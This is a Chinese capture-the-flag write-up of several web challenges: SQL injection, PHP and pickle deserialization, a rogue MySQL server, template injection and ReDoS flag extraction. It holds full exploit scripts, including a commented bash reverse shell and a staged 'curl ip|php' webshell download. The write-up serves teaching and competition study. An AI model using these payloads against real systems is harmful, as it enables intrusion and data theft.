高校战疫分享赛Writeup

给各位神仙递茶

更新中, 12 /15

easy_trick_gzmtu

想给出题人寄刀片.jpg

这道题有时间参数, 而且给的示例比较特别

这个点, 很长时间都没有理解, 直到后面队友@Sjoshua 来看, 一眼看出是 date 转义

https://www.php.net/manual/zh/function.date.php

测试的方法如下, 我们可以发现

/?time=2019

是有数据的

今天的日期是2020.3.19

可以从手册中发现

那么我们输入

/?time=201j

输出相同, 证明是 date 转义

那么我们要正常注入的话就应该转义回去, 这里@Sjoshua 直接写了个 tamper 脚本去跑, 十分强悍

#!/usr/bin/env python

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def dependencies():
pass

def tamper(payload, **kwargs):
return payload.replace('d', '\\d').replace('D', '\\D').replace('j', '\\j').replace('l', '\\l').replace('N', '\\N').replace('S', '\\S').replace('w', '\\w').replace('z', '\\z').
replace('W', '\\W').replace('F', '\\F').replace('m', '\\m').replace('M', '\\M').replace('n', '\\n').replace('t', '\\t').replace('L', '\\L').replace('o', '\\o').replace('Y', '\\Y').
replace('y', '\\y').replace('a', '\\a').replace('A', '\\A').replace('B', '\\B').replace('g', '\\g').replace('G', '\\G').replace('h', '\\h').replace('H', '\\H').replace('i', '\\i').
replace('s', '\\s').replace('u', '\\u').replace('e', '\\e').replace('I', '\\I').replace('O', '\\O').replace('P', '\\P').replace('T', '\\T').replace('Z', '\\Z').replace('c', '\\c').
replace('r', '\\r').replace('U', '\\U')

原理很粗暴, 就是转义回去 2333

然后爬数据

sqlmap -u http://121.37.181.246:6333/index.php\?time\=2020 --tamper=escapedate -D trick --dump

获得 admin 信息

上去登录后, 可以读文件

试一下, 发现需要本地访问

上全套测试

Client-Ip:127.0.0.1
X-Forwarded-For:127.0.0.1
Host:127.0.0.1
file://localhost/etc/passwd

那读什么文件呢, 看注释

读了之后是个简单的 trick

<?php

class trick{
public $gf;
public function content_to_file($content){
$passwd = $_GET['pass'];
if(preg_match('/^[a-z]+\.passwd$/m',$passwd))
{

if(strpos($passwd,"20200202")){
echo file_get_contents("/".$content);

}

}
}
public function aiisc_to_chr($number){
if(strlen($number)>2){
$str = "";
$number = str_split($number,2);
foreach ($number as $num ) {
$str = $str .chr($num);
}
return strtolower($str);
}
return chr($number);
}
public function calc(){
$gf=$this->gf;
if(!preg_match('/[a-zA-z0-9]|\&|\^|#|\$|%/', $gf)){
eval('$content='.$gf.';');
$content = $this->aiisc_to_chr($content);
return $content;
}
}
public function __destruct(){
$this->content_to_file($this->calc());

}

}
unserialize((base64_decode($_GET['code'])));

?>

两个正则, 绕过都很简单, 首先看 pass 的正则

$passwd = $_GET['pass'];
if(preg_match('/^[a-z]+\.passwd$/m',$passwd))
{

if(strpos($passwd,"20200202")){
echo file_get_contents("/".$content);

}

根据 p 神分享过的一个知识点, 这里的正则界定符是/m, 会把输入当成多行, 而这个$会匹配换行符, 那么我们只需要

pass=cjm00n.passwd%0a20200202

即可绕过, 第二个如下

public function calc(){
$gf=$this->gf;
if(!preg_match('/[a-zA-z0-9]|\&|\^|#|\$|%/', $gf)){
eval('$content='.$gf.';');
$content = $this->aiisc_to_chr($content);
return $content;
}

取反绕过, 写脚本

<?php


class trick{
public $gf;
}
// unserialize((base64_decode($_GET['code'])));


$filename = "FLAG";
$res = "";
for($i = 0; $i < strlen($filename);$i++){
$res.=strval((ord($filename[$i])));
}
$gf = "~".~$res;
$a = new trick();
$a->gf = $gf;
$pass = "a.passwd\n20200202";
echo base64_encode(serialize($a));
echo "\n".urlencode($pass);


?>

传参即可, 注意有些地方要 url 编码

hardphp

https://blog.zsxsoft.com/post/42

看了zsx的博客感觉像是升维打击, 在我们还在正则解混淆的时候, 他直接从编译器的角度进行解混淆, 属实牛逼

webct

www.zip 发现源码

看一下源码主要有两个部分

首先是 mysql 的远程连接, 入口在testsql.php

<?php
error_reporting(0);
include "config.php";
$ip = $_POST['ip'];
$user = $_POST['user'];
$password = $_POST['password'];
$option = $_POST['option'];
$m = new db($ip,$user,$password,$option);
$m->testquery();

db 类的定义是

class Db
{
public $ip;
public $user;
public $password;
public $option;
function __construct($ip,$user,$password,$option)
{
$this->user=$user;
$this->ip=$ip;
$this->password=$password;
$this->option=$option;
}
function testquery()
{
$m = new mysqli($this->ip,$this->user,$this->password);
if($m->connect_error){
die($m->connect_error);
}
$m->options($this->option,1);
$result=$m->query('select 1;');
if($result->num_rows>0)
{
echo '测试完毕,数据库服务器处于开启状态';
}
else{
echo '测试完毕,数据库服务器未开启';
}
}
}

很显然有任意远程连接, rogue mysql server没跑了

然后还有文件上传的部分, 入口

<?php
error_reporting(0);
include "config.php";
//var_dump($_FILES["file"]);
$file = new File($_FILES["file"]);
$fileupload = new Fileupload($file);
$fileupload->deal();
echo "存储的图片:"."<br>";
$ls = new Listfile('./uploads/'.md5($_SERVER['REMOTE_ADDR']));
echo $ls->listdir()."<br>";
?>

定义在

class File
{
public $uploadfile;
function __construct($filename)
{
$this->uploadfile=$filename;
}
function xs()
{
echo '请求结束';
}
}

class Fileupload
{
public $file;
function __construct($file)
{
$this->file = $file;
}
function deal()
{
$extensionarr=array("gif","jpeg","jpg","png");
$extension = pathinfo($this->file->uploadfile['name'], PATHINFO_EXTENSION);
$type = $this->file->uploadfile['type'];
//echo "type: ".$type;
$filetypearr=array("image/jpeg","image/png","image/gif");
if(in_array($extension,$extensionarr)&in_array($type,$filetypearr)&$this->file->uploadfile["size"]<204800)
{
if ($_FILES["file"]["error"] > 0) {
echo "错误:: " .$this->file->uploadfile["error"] . "<br>";
die();
}else{
if(!is_dir("./uploads/".md5($_SERVER['REMOTE_ADDR'])."/")){
mkdir("./uploads/".md5($_SERVER['REMOTE_ADDR'])."/");
}
$upload_dir="./uploads/".md5($_SERVER['REMOTE_ADDR'])."/";
move_uploaded_file($this->file->uploadfile["tmp_name"],$upload_dir.md5($this->file->uploadfile['name']).".".$extension);
echo "上传成功"."<br>";
}
}
else{
echo "不被允许的文件类型"."<br>";
}
}
function __destruct()
{
$this->file->xs();
}
}
class Listfile
{
public $file;
function __construct($file)
{
$this->file=$file;
}
function listdir(){
system("ls ".$this->file)."<br>";
}
function __call($name, $arguments)
{
system("ls ".$this->file);
}
}

有危险函数

function __call($name, $arguments)
{
system("ls ".$this->file);
}

而且有魔术方法

function __destruct()
{
$this->file->xs();
}

那么总结一下, 文件上传+反序列化 = phar, 而触发点呢, 很容易想到大师傅@zsx 的文章

https://blog.zsxsoft.com/post/38

oh 多么美妙, 一应俱全, 这里直接上队友@DiaosSama 的 exp

<?php
class Listfile
{
//public $file = '/;bash -i >& /dev/tcp/ip/2333 0>&1;';
public $file = '/;/readflag;';
}


class Fileupload
{
public $file;
}


$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$o = new Fileupload();
$o->file = new Listfile();
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

改文件名, 先上传到服务器, 获取路径

再用这个

https://github.com/allyshka/Rogue-MySql-Server/blob/master/rogue_mysql_server.py

读一下那个文件, 填上参数

webtmp

强烈建议阅读出题人的wp

https://hackmd.io/@2KUYNtTcQ7WRyTsBT7oePg/BycZwjKNX

python 的 pickle 反序列化

源码如下

import base64
import io
import sys
import pickle

from flask import Flask, Response, render_template, request
import secret


app = Flask(__name__)


class Animal:
def __init__(self, name, category):
self.name = name
self.category = category

def __repr__(self):
return f'Animal(name={self.name!r}, category={self.category!r})'

def __eq__(self, other):
return type(other) is Animal and self.name == other.name and self.category == other.category


class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module == '__main__':
return getattr(sys.modules['__main__'], name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))


def restricted_loads(s):
return RestrictedUnpickler(io.BytesIO(s)).load()


def read(filename, encoding='utf-8'):
with open(filename, 'r', encoding=encoding) as fin:
return fin.read()


@app.route('/', methods=['GET', 'POST'])
def index():
if request.args.get('source'):
return Response(read(__file__), mimetype='text/plain')

if request.method == 'POST':
try:
pickle_data = request.form.get('data')
if b'R' in base64.b64decode(pickle_data):
return 'No... I don\'t like R-things. No Rabits, Rats, Roosters or RCEs.'
else:
result = restricted_loads(base64.b64decode(pickle_data))
if type(result) is not Animal:
return 'Are you sure that is an animal???'
correct = (result == Animal(secret.name, secret.category))
return render_template('unpickle_result.html', result=result, pickle_data=pickle_data, giveflag=correct)
except Exception as e:
print(repr(e))
return "Something wrong"

sample_obj = Animal('一给我哩giaogiao', 'Giao')
pickle_data = base64.b64encode(pickle.dumps(sample_obj)).decode()
return render_template('unpickle_page.html', sample_obj=sample_obj, pickle_data=pickle_data)


if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)

主要参考 https://zhuanlan.zhihu.com/p/89132768

这篇文章分析的贼有意思, 我觉得就是出题人 23333, 我们来跟一下, 首先创建下面这个 test.py

import pickle
import pickletools
import secret
import base64
class Animal:
def __init__(self, name, category):
self.name = name
self.category = category

def __repr__(self):
return f'Animal(name={self.name!r}, category={self.category!r})'

def __eq__(self, other):
return type(other) is Animal and self.name == other.name and self.category == other.category


if __name__ == "__main__":
a = Animal("rua", "www")
s = pickle.dumps(a)
s = pickletools.optimize(s)
pickletools.dis(s)

输出为

其中 s 为

\x80\x03c__main__\nAnimal\n)\x81}(X\x04\x00\x00\x00nameX\x03\x00\x00\x00ruaX\x08\x00\x00\x00categoryX\x03\x00\x00\x00wwwub.

首先是\x80\x03, 表示 pickle 反序列化字符串的开始, \x80读入一个版本号为3

c表示global, 引入一个模块, 以\n分隔, 即为__main__.Animal

)表示创建一个空的元组

\x81则是将栈顶弹出作为参数, 再弹出栈顶作为cls, 然后进行实例化, 因此这里实例化了一个__main__.Animal

}创建了一个字典, (则是MARK, 也就是load_mark, 将当前栈作为一个 list 加入前序栈, 然后清空当前栈, 压进去的就是实例化对象和空字典

V参数表示读入一个字符串, 以\n结尾

u参数则是pop_mark, 将当前栈内容压进数组arr, 然后将前序栈内容恢复

那么此时的栈为__main__.Animal, dict, 然后拿到栈顶的空 dict, 必须为空 dict, 并将arr的值两个一组读入 dict 作为 key 和 value

b则是BUILD, 将当前栈顶弹出存入 state, 再将栈顶弹出存入 inst, 然后利用 state 更新 inst

.是结束

那么分析完了, 我们这里就可以开始构造, 首先看限制条件

if b'R' in base64.b64decode(pickle_data):
return 'No... I don\'t like R-things. No Rabits, Rats, Roosters or RCEs.'

不允许使用__reduce__来执行命令

def find_class(self, module, name):
if module == '__main__':
return getattr(sys.modules['__main__'], name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))

只能引入__main__, 而获取 flag 的地方

correct = (result == Animal(secret.name, secret.category))
return render_template('unpickle_result.html', result=result, pickle_data=pickle_data, giveflag=correct)

其实就是文章下面的部分, 我们自己构造一下, 首先生成一个正常的 payload

\x80\x03c__main__\nAnimal\n)\x81}(X\x04\x00\x00\x00nameX\x03\x00\x00\x00ruaX\x08\x00\x00\x00categoryX\x03\x00\x00\x00wwwub.

首先引入 secret 模块

\x80\x03c__main__\nsecret\nc__main__\nAnimal\n)\x81}(X\x04\x00\x00\x00nameX\x03\x00\x00\x00ruaX\x08\x00\x00\x00categoryX\x03\x00\x00\x00wwwub.

然后创建空 dict, 并执行 mark

\x80\x03c__main__\nsecret\n}(c__main__\nAnimal\n)\x81}(X\x04\x00\x00\x00nameX\x03\x00\x00\x00ruaX\x08\x00\x00\x00categoryX\x03\x00\x00\x00wwwub.

再接着添加参数 name 和 category

\x80\x03c__main__\nsecret\n}(Vname\nVrua\nVcategory\nVwww\nc__main__\nAnimal\n)\x81}(X\x04\x00\x00\x00nameX\x03\x00\x00\x00ruaX\x08\x00\x00\x00categoryX\x03\x00\x00\x00wwwub.

然后执行 ub, 0 弹出栈顶

\x80\x03c__main__\nsecret\n}(Vname\nVrua\nVcategory\nVwww\nub0c__main__\nAnimal\n)\x81}(X\x04\x00\x00\x00nameX\x03\x00\x00\x00ruaX\x08\x00\x00\x00categoryX\x03\x00\x00\x00wwwub.

最后执行结果如下

成功修改, 那么 base64 编码上传即可

hackme

这个题其实很简单, 只是第一步一直傻了 23333

www.zip 下源码, 分析一下, 注意到有设置反序列化的类型

一般默认的是php_unserialize, 而这里php的话, 会以|作为键值对的分隔符, 但是这里还有一个问题

我们一开始会经过这个

ini_set('session.serialize_handler', 'php');
session_start();

当你第二次访问的时候, 这一行便不起作用了, 所以反序列化会变回php_unserialize, 那么这就出现了一个 session 反序列化的漏洞, 具体的我们可以参考[LCTF2018]签到题

https://xz.aliyun.com/t/3336

所以我们生成如下的类

<?php
ini_set('session.serialize_handler', 'php');
session_start();
class info
{
public $admin=1;
public $sign="cjm00n";

}
// $o = array("sign"=>"cjm00n", "admin"=>1);
echo("|".serialize(new Info()));

然后在注入点

提交后看一下MySign你就会变成 admin 了

但是看代码这里有个redirect, 不知道为啥没有生效, 直接访问

/core/index.php

这个绕 filter 的部分其实已经出烂了, 但是当时一直没想到, 过半天了才想起我的博客上也有 payloadhhhh

具体我们可以参考

http://github.mrkaixin.computer/2020/02/27/BUUctf%E9%9B%B6%E5%91%A8%E7%9B%AE/

[Bytectf2019]boring_code是一样的

compress.zlib://data:@baidu.com/baidu.com?,phpinfo();

改一下

compress.zlib://data:@127.0.0.1/baidu.com?,phpinfo();

这样就可以注入 payload, 后面的话是一个 4 字节的命令执行, 其实是[hitcon2017]BabyFirst Revenge v2的原题, 拿过来打就可以了

参考 https://findneo.github.io/171110Bypass4CLimit/

脚本如下, 主要每次打之前都要访问一下/core/clear.php

import requests
import re
from time import sleep
import random
import hashlib
from urllib.parse import quote, unquote
url = "http://121.36.222.22:88/"
session = requests.Session()




def login():
data = {
"name": "admin",
}
session.post(f"{url}login.php", data=data)
sign = {
"sign": '|O:4:"info":2:{s:5:"admin";i:1;s:4:"sign";s:6:"cjm00n";}'
}
session.post(f"{url}?page=upload", data=sign)




def get(name):
res = session.get(f"{url}core/sandbox/603ea5bad7b6bad63e7a821de16173b6/{name}").text
print(res)


def clean():
res = session.get(f"{url}core/clear.php").text
print(res)


def attack(cmd):
prefix = "compress.zlib://data:@127.0.0.1/baidu.com?,%s"
payload = cmd
data = {
"url": prefix % quote(payload)
}
text = session.post(f"{url}core/index.php", data=data).text
if len(text) > 42:
print(cmd)
print(text[42:])
def exp():
login()
clean()
# attack("ls>b")
# 存放待下载文件的公网主机的IP
shell_ip = 'your_ip'
# 将shell_IP转换成十六进制
ip = '0x' + ''.join([str(hex(int(i))[2:].zfill(2))
for i in shell_ip.split('.')])
pos0 = random.choice('efgh')
pos1 = random.choice('hkpq')
pos2 = 'g' # 随意选择字符
payload = [
'>dir',
# 创建名为 dir 的文件


'>%s\>' % pos0,
# 假设pos0选择 f , 创建名为 f> 的文件


'>%st-' % pos1,
# 假设pos1选择 k , 创建名为 kt- 的文件,必须加个pos1,
# 因为alphabetical序中t>s


'>sl',
# 创建名为 >sl 的文件;到此处有四个文件,
# ls 的结果会是:dir f> kt- sl


'*>v',
# * 相当于 `ls` ,那么这条命令等价于 `dir f> kt- sl`>v ,
# dir是不换行的,所以这时会创建文件 v 并写入 f> kt- sl
# 非常奇妙,这里的文件名是 v ,只能是v ,没有可选字符


'>rev',
# 创建名为 rev 的文件,这时当前目录下 ls 的结果是: dir f> kt- rev sl v


'*v>%s' % pos2,
# 魔法发生在这里: *v 相当于 rev v ,* 看作通配符。体会一下。
# 这时pos2文件,也就是 g 文件内容是文件v内容的反转: ls -tk > f


# 续行分割 curl 0x11223344|php 并逆序写入
'>p',
'>ph\\',
'>\|\\',
'>%s\\' % ip[8:10],
'>%s\\' % ip[6:8],
'>%s\\' % ip[4:6],
'>%s\\' % ip[2:4],
'>%s\\' % ip[0:2],
'>\ \\',
'>rl\\',
'>cu\\',


'sh ' + pos2,
# sh g ;g 的内容是 ls -tk > f ,那么就会把逆序的命令反转回来,
# 虽然 f 的文件头部会有杂质,但不影响有效命令的执行
'sh ' + pos0,
# sh f 执行curl命令,下载文件,写入木马。
]
print(payload)
for i in payload:
assert len(i) <= 4
attack(i)
sleep(0.1)
get("a.php?c=system('cat /flag');")

if __name__ == "__main__":
exp()

这里的命令是

curl yourip|php

所以我们要在服务器上面放一个index.php, 注意转义

<?php
echo "<?php file_put_contents(\"a.php\", \"<?php eval(\\\$_GET[c]);?>\");?>";

然后

sudo php -S 0:80

可以自己在服务器上面测试一下

curl http://localhsot|php

会发现生成了 a.php, 内容为

Fine, 跑脚本, 然后访问即可, 注意路径在/core/sandbox/xxxxxxx/a.php

baby_java

待更新

fmkq

flag 在 /未知目录/flag

<?php
error_reporting(0);
if(isset($_GET['head'])&&isset($_GET['url'])){
$begin = "The number you want: ";
extract($_GET);
echo $begin."\n";
if($head == ''){
die('Where is your head?');
}
if(preg_match('/[A-Za-z0-9]/i',$head)){
die('Head can\'t be like this!');
}
if(preg_match('/log/i',$url)){
die('No No No');
}
if(preg_match('/gopher:|file:|phar:|php:|zip:|dict:|imap:|ftp:/i',$url)){
die('Don\'t use strange protocol!');
}
$funcname = $head.'curl_init';

$ch = $funcname();
if($ch){
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
curl_close($ch);
var_dump($output);
}
else{
$output = 'rua';
}
echo sprintf($begin.'%d',$output);
}
else{
show_source(__FILE__);
}

源码题, 前面是几个 trick, 首先看我们需要一个head, 但是他会拼接在curl_init前面

$funcname = $head.'curl_init';
$ch = $funcname();

显然没有一个函数叫做

xxxcurl_init

但是 php 的内置函数, 其实都运行在一个根域下面, 也就是\, 换句话说, 这个函数

\curl_init=curl_init

然后我们需要有输出吧, 看一下输出的地方

echo sprintf($begin.'%d',$output);

%d是输出整数, 这不行, 我就喜欢看文字, 我们去翻一下手册, 上面贴心的给了我们样例

也就是说, 我们可以让 begin 变成

begin=%1$s

来获取输出, 这个需要借助前面的

extract($_GET);

然后我们可以任意访问了(x

然后, 然后干啥呢, 发现禁止了很多协议

if(preg_match('/gopher:|file:|phar:|php:|zip:|dict:|imap:|ftp:/i',$url)){
die('Don\'t use strange protocol!');
}

众所周知, 正则有几种思路

  1. 数组绕过, 但是这个$url会传入curl_init, 看了下手册必须为 string, 行不通
  2. pcre 绕过, 这里是 post 传参, 行不通
  3. 绕不过

那就只能认命了, 看一下还有什么协议, 本地执行

curl -V

可以看到, 好用的协议都被禁了

dict, gopher, file

但是经过测试, telnet是开着的, 并且会有时间回显

如果是打开的端口, 返回时间会比较长, 可以用来探测端口, 探测一轮后发现, 8080端口有服务

然后我就在这里卡了整整一天, 这个输出写的太丑了, 加上 8080 端口以至于我一直认为是 jsp, 读了很多没成功

这里注意测试的时候需要加上vipcode并编码&%26

后面我发现

这个很像 php 的realpath

很快搜了一波发现有绕过disable_function的操作, 可以用来列目录

浅谈几种 Bypass open_basedir 的方法

但是这里实测是不行的, 而且如果要用来爆破目录, 需要在 win 下, 这里是 linux, 走不通,并且我们发现这个函数和realpath的执行是不一样的, 简单看几个测试

所以不是 php, 直到很久以后, 才知道这是个 python 服务, python 意味这什么, 我们输入的file, 会被渲染并输出,

这就是 SSTI, 测一波, 发现他不是 flask 那些, 他的模板是这样的

{payload}

那么开始读, 先看类

{file.__class__}

看方法

{file.__class__.__init__.__globals__}

这里有个奇怪的点, 这个current_folder_file一直在四处跑, 有时候会跑到 flag 目录那里 2333

我们知道, 没有vipcode不能读文件, 因此要想办法找vipcode

看到有个vip类, 读它, 注意 vip 不需要引号包起来, 不然会出错

{file.__class__.__init__.__globals__[vip].__init__.__globals__}

code 就在上面了, 拿了就可以读文件, 我们读下来源码, 并且可以知道 flag 目录的位置

源码如下

from vip import vip
import re
import os


class File:
def __init__(self,file):
self.file = file

def __str__(self):
return self.file

def GetName(self):
return self.file


class readfile():

def __str__(self):
filename = self.GetFileName()
if '..' in filename or 'proc' in filename:
return "quanbumuda"
else:
try:
file = open("/tmp/" + filename, 'r')
content = file.read()
file.close()
return content
except:
return "error"

def __init__(self, data):
if re.match(r'file=.*?&vipcode=.*?',data) != None:
data = data.split('&')
data = {
data[0].split('=')[0]: data[0].split('=')[1],
data[1].split('=')[0]: data[1].split('=')[1]
}
if 'file' in data.keys():
self.file = File(data['file'])

if 'vipcode' in data.keys():
self.vipcode = data['vipcode']
self.vip = vip()


def test(self):
if 'file' not in dir(self) or 'vipcode' not in dir(self) or 'vip' not in dir(self):
return False
else:
return True

def isvip(self):
if self.vipcode == self.vip.GetCode():
return True
else:
return False

def GetFileName(self):
return self.file.GetName()


current_folder_file = []


class vipreadfile():
def __init__(self,readfile):
self.filename = readfile.GetFileName()
self.path = os.path.dirname(os.path.abspath(self.filename))
self.file = File(os.path.basename(os.path.abspath(self.filename)))
global current_folder_file
try:
current_folder_file = os.listdir(self.path)
except:
current_folder_file = current_folder_file

def __str__(self):
if 'fl4g' in self.path:
return 'nonono,this folder is a secret!!!'
else:
output = '''Welcome,dear vip! Here are what you want:\r\nThe file you read is:\r\n'''
filepath = (self.path + '/{vipfile}').format(vipfile=self.file)
output += filepath
output += '\r\n\r\nThe content is:\r\n'
try:
f = open(filepath,'r')
content = f.read()
f.close()
except:
content = 'can\'t read'
output += content
output += '\r\n\r\nOther files under the same folder:\r\n'
output += ' '.join(current_folder_file)
return output

可以看到过滤了fl4g, 但是他用了一个

filepath = (self.path + '/{vipfile}').format(vipfile=self.file)

这就出现了格式化字符串漏洞

https://www.leavesongs.com/PENETRATION/python-string-format-vulnerability.html

我们如果输入

file={vipfile}/flag

则会变成

file=flag/flag

是不是很妙, 那么我们直接取他的一位来构造即可, 首先可以看到传入的

self.file

是一个类, 但是没有关系, 我们只需要取他的成员即可

然后到上面读 flag, 注意更新 vipcode

dooog

教学相结合的题目, 很有意思, 并且题目直接给了dockerfile, 好评

主要的漏洞点在这里

这里对cmd做了限制, 只能用whoami, ls, 但是真的如此吗?

我们看一下这个data['timestamp']

可以看到这个参数其实是我们上传的, 我们可以任意控制, 那么我们如果将这个参数设置为1, 或者直接等等60秒再去访问, 不就可以直接绕过了吗

time.sleep(61)

世界是如此美好, 那么我们来理一下逻辑, 首先我们要注册

这里需要两个参数, 其中master_key会作为我们后面其中一个加密的key, 也就是下面这里获取TGT的地方

可以看到我们需要两个参数, 其中一个是authenticator, 我们可以自己构造

authenticator = base64.b64encode(cryptor.encrypt(json.dumps({'username': 'cjm00n', 'timestamp': int(time.time())})))

然后就可以拿到TGT, 重点关注一下命令执行的地方

其中大部分参数我们都有了, 剩下的是cmd, 根据dockerfile, 我们执行

curl http://ip:port/`/readflag`

等待61秒之后再去访问即可, 这样就能获得我们包含我们命令的参数

server_message

访问即可

nweb

首先扫描结果如下

进去之后可以看到主界面

如果发现乱码, 可以用 chrome 的插件改一下网页编码, 改成 utf-8

先注册一个账号试试, 登陆后发现权限不够

点击 flag 会发现权限不够

然后看上面的评论, 说注册账号有等级之分, 我们去看看

有个隐藏参数type, 抓包也可以看到, 改成 110 重新注册一个账号, 登录就可以看到 flag.php 界面了

这里题目环境挂了, 就贴一下文档的内容吧

可以看到有个搜索框, 可以注入, 是常规的布尔盲注

import requests
import re
from urllib.parse import quote, unquote
from multiprocessing.pool import ThreadPool


url = "http://121.37.179.47:1001/"
session = requests.Session()
flag = ["" for i in range(1000)]




def login():
data = {
"email": "cjm00n1",
"pass": "cjm00n"
}
res = session.post(f"{url}login.php", data=data).content.decode("utf-8")


def exp(i):
if i:
end = 127
start = 0
mid = (end + start) // 2


while end > start:
data = {
# db: ctf-2
# "flag": "1'||(ascii((mid((select database()),%d,1)))>%d)\x23" % (i, mid)
# table: admin,fl4g,jd,user
# "flag": "1'||(ascii(mid((seleselectct group_concat(table_name) frofromm information_schema.tables where table_schema=database()),%d,1))>%d)#" % (i, mid)
# column: username,pwd,qq,flag,number,submission_date,shifumoney,money,truemoney,zhuangtai,bangding,beizhu
# "flag": "1'||(ascii(mid(((seleselectct group_concat(column_name) frofromm information_schema.columns where table_name='user')),%d,1))>%d)#" % (i, mid)
# number: 1456541654165


"flag": "1'||(ascii(mid(((seleselectct group_concat(pwd) frfromom user where username='ADMIN')),%d,1))>%d)#" % (i, mid)
}
proxies = {
"http": "127.0.0.1:8080"
}
res = session.post(f"{url}search.php",
data=data, proxies=proxies)
# print(res)
# print(res)
if res.status_code is not 200:
print("error")
if "no" in res.content.decode("utf-8"):
end = mid
else:
start = mid + 1
mid = (end + start) // 2
flag[i] = chr(mid)
# print(chr(mid))
print(''.join(flag))




if __name__ == "__main__":
login()
num = 5
data_num = 100
data = range(data_num)
pool = ThreadPool(num)
jobs = []
for d in data:
pool.apply_async(exp, (d,))
pool.close()
pool.join()
print(''.join(flag))

从数据库中我们能得到一半的 flag

以及管理员的账号密码(解 md5)

admin/whoamiadmin

登陆点的话, 不是在这里, 可以看前面御剑扫描的结果, 是在admin.php

登录后发现可以填 ip 和 port, 结合前面的 flag 来看, 应该是 Rogue_mysql_server, 上网找一个脚本

https://github.com/allyshka/Rogue-MySql-Server

读一下

/var/www/html/flag.php

即可拿到后半部分的 flag

GuessGame

由于环境问题,建议选手们不要逐位跑,直接跑整个 flag 可能会由于其他选手影响造成误差导致获取到的 flag 有一两个字符偏差

题目给了源码, 如下

var config = {
forbidAdmin: true
// "enableReg" : true
};
var loginHistory = [];
var adminName = "admin888";
var flag = "************";

app.get("/", function(req, res) {
// res.render("index");
res.end("ok");
});

//So terrible code~
app.post("/", function(req, res) {
if (typeof req.body.user.username != "string") {
res.end("error");
} else {
if (config.forbidAdmin && req.body.user.username.includes("admin")) {
res.end("any admin user has been baned");
} else {
if (
req.body.user.username.toUpperCase() === adminName.toUpperCase()
)
//only log admin's activity
log(req.body.user);
res.end("ok");
}
}
});

app.get("/log", function(req, res) {
if (loginHistory.length == 0) {
res.end("no log");
} else {
res.json(loginHistory);
console.log(config.enableReg);
}
});

app.get("/verifyFlag", function(req, res) {
res.render("verifyFlag");
});

app.post("/verifyFlag", function(req, res) {
//let result = "Your match flag is here: ";
let result = "Emm~ I won't tell you what happened! ";

if (typeof req.body.q != "string") {
res.end("please input your guessing flag");
} else {
let regExp = req.body.q;
if (config.enableReg && noDos(regExp) && flag.match(regExp)) {
//res.end(flag);
//Stop your wishful thinking and go away!
}
if (req.query.q === flag) result += flag;
res.end(result);
}
});

function noDos(regExp) {
//match regExp like this will be too hard
return !(regExp.length > 30 || regExp.match(/[)]/g).length > 5);
}

function log(userInfo) {
let logItem = { time: new Date().toString() };
merge(logItem, userInfo);
loginHistory.push(logItem);
}

可以看到, 存在原型链污染

function log(userInfo) {
let logItem = { time: new Date().toString() };
merge(logItem, userInfo);
loginHistory.push(logItem);
}

那么我们可以通过污染, 来使得

var config = {
forbidAdmin: true
// "enableReg" : true
};

注释部分变为true, 从而可以进入正则的判断, 但是没有回显

if (config.enableReg && noDos(regExp) && flag.match(regExp)) {
//res.end(flag);
//Stop your wishful thinking and go away!
}
if (req.query.q === flag) result += flag;
res.end(result);

很明显考点是 redos, 通过正则来进行时间盲注

预期解

https://blog.rwx.kr/time-based-regex-injection/

https://speakerdeck.com/lmt_swallow/revisiting-redos-a-rough-idea-of-data-exfiltration-by-redos-and-side-channel-techniques

https://diary.shift-js.info/blind-regular-expression-injection/?tdsourcetag=s_pctim_aiomsg

主要都是参考自上面的几个链接

所以前面题目说明的全部一起跑都是瞎扯吗

盲注的话也有两种思路, 一种是利用正先向断言, 一种是直接注入

我们先看正后发断言

https://github.com/ziishaned/learn-regex/blob/master/translations/README-cn.md

以及正先行断言

现在的flag为

g3tF1AaGEAzY

假设我们需要匹配第一位, 我们需要构造一个表达式匹配

gxxxxxxxx

时间比较长, 而匹配到任何不是g开头的字符串时间都比较短, 这就可以使用正先行断言, 并且在最前面加上一个^来匹配行首

也就是

^(?={})

而后面需要有一个可以使得时间变长的匹配, 我们可以使用

((((.*)*)*)*)*{salt}

进行匹配, 在regax101上面测一下

当然实际上你不需要这个正先行断言也可以

ok, 那么我们开始跑脚本

import requests
import re
import json
import string
import random
import time
url = "http://192.168.2.106:8081/"
session = requests.Session()


def noDos(regExp):
return not (len(regExp) > 30 or len(re.findall("[)]", regExp)) > 5)


def nth_char_is(n, c):
return ".{" + str(n) + "}" + re.escape(c) + ".*$"


def login():
data = {
'user': {
'username': 'admın888',
"__proto__": {
"enableReg": True,
}
},
}
session.get(url)
session.post(url, json=data)


def gen_payload(data):
salt = "!"
payload = f"^(?={data})((((.*)*)*)*)*{salt}"
assert noDos(payload) == True
return payload


def exp_redos():
login()
flag = ""
# g3tF1AaGEAzY
for i in range(12):
for j in string.ascii_letters+string.digits:
data = {
"q": gen_payload(nth_char_is(i, j))
}
# print(f"[*] try: {j}, {data['q']}")
try:
session.post(f"{url}verifyFlag", data=data,timeout=3)
except:
flag += j
print(f"[*] flag: {flag}")
break
print(f"[+] flag: {flag}")


if __name__ == "__main__":
exp_redos()

结果如下

可以看到是有偏差的, 我们倒过来跑一下

对比一下真实的flag

g3tF1AaGEAzY

可以看到主要还是中间的Aa部分总是会出现问题, 我又研究了一下出题人的脚本, 发现主要是在timeout的处理上有区别

改一下try的部分

try:
_start = time.time()
session.post(f"{url}verifyFlag", data=data)
_end = time.time()
if _end - _start > 2:
flag += j
print(f"[*] flag: {flag}")
break
except:
pass

然后就可以正常的跑出flag了, 这里可能是跟requests内部抛出TimeOutError的处理有关?

取中间一个部分分析一下

[*] try: w, ^(?=.{9}w.*$)((((.*)*)*)*)*!

这里的$其实没啥用, 主要是前面的

(?=.{9}w.*)

如果匹配到, 则会进行后面的redos, 如果匹配不到, 就直接结束了, 通过这样的逐位注入来匹配

那所以提示真的是憨批

